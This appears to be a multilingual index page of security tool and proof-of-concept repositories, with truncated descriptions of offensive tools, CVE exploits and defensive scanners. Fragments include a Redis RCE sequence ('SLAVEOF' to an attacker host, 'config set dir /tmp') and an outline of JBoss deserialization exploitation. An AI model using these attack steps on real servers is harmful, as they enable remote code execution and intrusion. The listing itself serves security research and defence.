CVE-2021-22123

CVE-2021-22123 Inyección de comandos del sistema operativo autenticada en Fortinet FortiWeb Hit Counter La vulnerabilidad de inyección de comandos en la interfaz de administración de FortiWeb puede permitir que un atacante remoto autenticado ejecute comandos arbitrarios en el sistema a través de ...

ssh-tpm-agent

SSH agent for TPM ssh-tpm-agent 是一个兼容 ssh-agent 的代理程序，允许使用受信任平台模块（TPM）创建密钥，用于向 ssh 服务器进行身份验证。 TPM 密封密钥是在受信任平台模块（TPM）内部创建的私钥，并保存在以 .tpm 为后缀的文件中。这些密钥与生成它们的硬件绑定，无法转移到其他机器上。 这使您能够使用原生客户端，而无需将现有的 PKCS11 库侧加载到 ssh-agent 和/或 ssh 客户端中。 该项目使用 TPM 2.0 Key Files，并通过 go-tpm-keyfiles 项目实现。 特性 一个可用的 ssh-agent。...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE 使用Burp Suite利用Java反序列化漏洞 0x01 搭建Jboss JMXInvokerServlet 反序列化漏洞 测试环境： JBoss JMXInvokerServlet 反序列化漏洞 漏洞原理：JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。 root@kali:/vulhub/jboss/JMXInvokerServlet-deserialization...

monitor

BetterDB Monitor The monitoring layer that Valkey deserves. BetterDB persists what Valkey throws away - slowlogs, command patterns, client activity, anomaly signals - so you can debug what happened at 3am, not just what's happening now. Built for Valkey 8.x with native support for COMMANDLOG,...

Modlishka

..Modlishka.. Modlishka es una herramienta de pruebas de penetración de código abierto que actúa como un proxy man-in-the-middle. Introdujo un nuevo enfoque técnico para manejar el flujo de tráfico HTTP basado en navegador, lo que le permite actuar como proxy transparente de tráfico multidominio,...

dawnscanner

Dawnscanner - 针对 Ruby Web 应用的安全扫描器 dawn 是一款源代码扫描器，旨在检查您的 Web 应用是否存在安全问题。 该工具能够扫描用 Ruby 编写的 Web 应用，并默认支持所有主流 MVC（模型 - 视图 - 控制器）框架： Ruby on Rails Sinatra Padrino dawn 2.0 版本的知识库中包含了 680 多项安全检查，这些检查每周会根据 NIST 的国家漏洞数据库进行更新。 简要工作原理 当您在代码上运行 dawn 时，它会解析您的项目 Gemfile.lock 文件，查找所使用的 gem，并尝试检测您正在使用的 Ruby...

dawnscanner

Dawnscanner - The raising security scanner for ruby web applications dawn is a source code scanner designed to review your web applications for security issues. The tool is able to scan web applications written in Ruby and it supports all major MVC Model View Controller frameworks, out of the box...

feroxbuster

!WARNING Security Notice – Domain Impersonation The domain feroxbuster.com is NOT affiliated with this project, its maintainers, or any official feroxbuster releases. Official feroxbuster downloads are distributed ONLY through: https://github.com/epi052/feroxbuster open source...

0l4bs

0l4bs Cross-site scripting labs for web application security enthusiasts List of Chall : Chall 1 | URL Chall 2 | Form Chall 3 | User-Agent Chall 4 | Referrer Chall 5 | Cookie Chall 6 | LocalStorage Chall 7 | Login Page Chall 8 | File Upload Chall 9 | Base64 Encoding Chall 10 | Removes Alert Chall...

pyghidra-mcp

PyGhidra-MCP - Ghidra Model Context Protocol Server Overview pyghidra-mcp is a command-line Model Context Protocol MCP server that brings the full analytical power of Ghidra, a robust software reverse engineering SRE suite, into the world of intelligent agents and LLM-based tooling. It bridges...

scour

Scour - AWS Detection Framework This tool is used to emulate attack patterns inside of the AWS Controlplane. Each attack is tagged with a specific UA for the blue team to signal off of. Status This is still an active work in progress. Lots of Bugs Not ready for production Where to file issues :...

aco-prompt-shield

aco-prompt-shield 🛡️ 在提示注入攻击到达您的LLM之前拦截它们 ——零API成本，完全本地运行，2分钟内集成。 提示注入是LLM应用的头号安全风险。aco-prompt-shield能够捕获已知的越狱模式，通过机器学习理解语义意图，并检测混淆——全部在本地完成，完全私密。 基准测试 指标| 结果 ---|--- 检测率| 95.7%（22/23种攻击模式被捕获） 误报率| 0.0%（0/20个良性提示被错误拦截） 延迟（单次请求，热启动）| 平均约29ms · p99: 29.3ms 峰值吞吐量（单实例）| 约44 req/s 并发负载容忍度| 约10个并发用户后开始降...

Redis-RCE

Redis-RCE remote code execute for redis4 and redis5 python code from https://github.com/Ridter/redis-rce 通过加载so文件，扩展新命令system.exec进行 命令执行成功 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp...

john

John the Ripper This is the community-enhanced, "jumbo" version of John the Ripper. It has a lot of code, documentation, and data contributed by jumbo developers and the user community. It is easy for new code to be added to jumbo, and the quality requirements are low, although lately we've start...

hate_crack

/ | \ / | \ \ | | / \ \ / \ / \ /\ \ \ / | |/ / \ Y // | | \ / \ | | // \ | \ /|| /\ | \ / / // / / / / Installation Installing from source is the only supported path. hatecrack is not distributed on PyPI: pip install hate-crack resolves to a 0.0.0 placeholder that fails on purpose...

BerrySentinel

🫐 Berry Sentinel 实时C2（命令与控制）连接行为检测器 零特征码 · 防弹收集 · 深度扫描 · 终止引擎 这是什么？ Berry Sentinel 监控你系统上所有活跃的网络连接，并分析生成这些连接的进程的行为 ，以检测恶意活动 —— 无需使用杀毒软件的特征码数据库或IP黑名单。 它通过观察进程的行为方式 来检测反向Shell、Webshell、RAT、C2信标以及Meterpreter、Cobalt Strike、Sliver或Empire等框架：如果一个Python解释器的stdin连接到了一个远程socket，即使IP未知，这也值得怀疑。...

trufflehog

TruffleHog Find leaked credentials. 🔎 Now Scanning ...and more To learn more about TruffleHog and its features and capabilities, visit our product page. 🌐 TruffleHog Enterprise Are you interested in continuously monitoring Git, Jira, Slack, Confluence, Microsoft Teams, Sharepoint and more for...

CVE-2025-32433-PoC

CVE-2025-32433: Erlang/OTP SSH 未认证远程代码执行 PoC 本仓库包含 CVE-2025-32433 的概念验证（PoC），该漏洞是影响 Erlang/Open Telecom Platform OTP SSH 服务器实现的一个严重未认证远程代码执行（RCE）漏洞。此 PoC 仅用于教育目的、安全研究和 CTF 挑战。 ⚠️ 免责声明 – 仅限教育与道德使用 ⚠️ 本 PoC 严格仅供教育和道德黑客目的使用。它旨在用于受控环境，例如隔离的虚拟机或 CTF 平台，并且您已获得明确许可进行安全测试。 切勿 将此 PoC...

orbitaldump

OrbitalDump A simple multi-threaded distributed SSH brute-forcing tool written in Python. How it Works When the script is executed without the --proxies switch, it acts just like any other multi-threaded SSH brute-forcing scripts. When the --proxies switch is added, the script pulls a list usuall...

nimux

纯 Nim 编写的网络枚举与远程执行工具包 nimux - 原生操作员工具包 nimux 是一个面向授权安全评估的原生命令界面。它将网络枚举、轻量级 Web 发现、凭据验证、Active Directory 操作、Kerberos 工作流、远程执行、文件传输、机密收集、DCSync、GPO 操作、数据库客户端和 SOCKS 路由整合到一个纯 Nim 工具包中。 当前版本：v1.0.6 您正在访问 nimux 的官方公共仓库。 网站：https://nimux.wiki 文档：https://docs.nimux.wiki 源码：https://github.com/blue0x1/nim...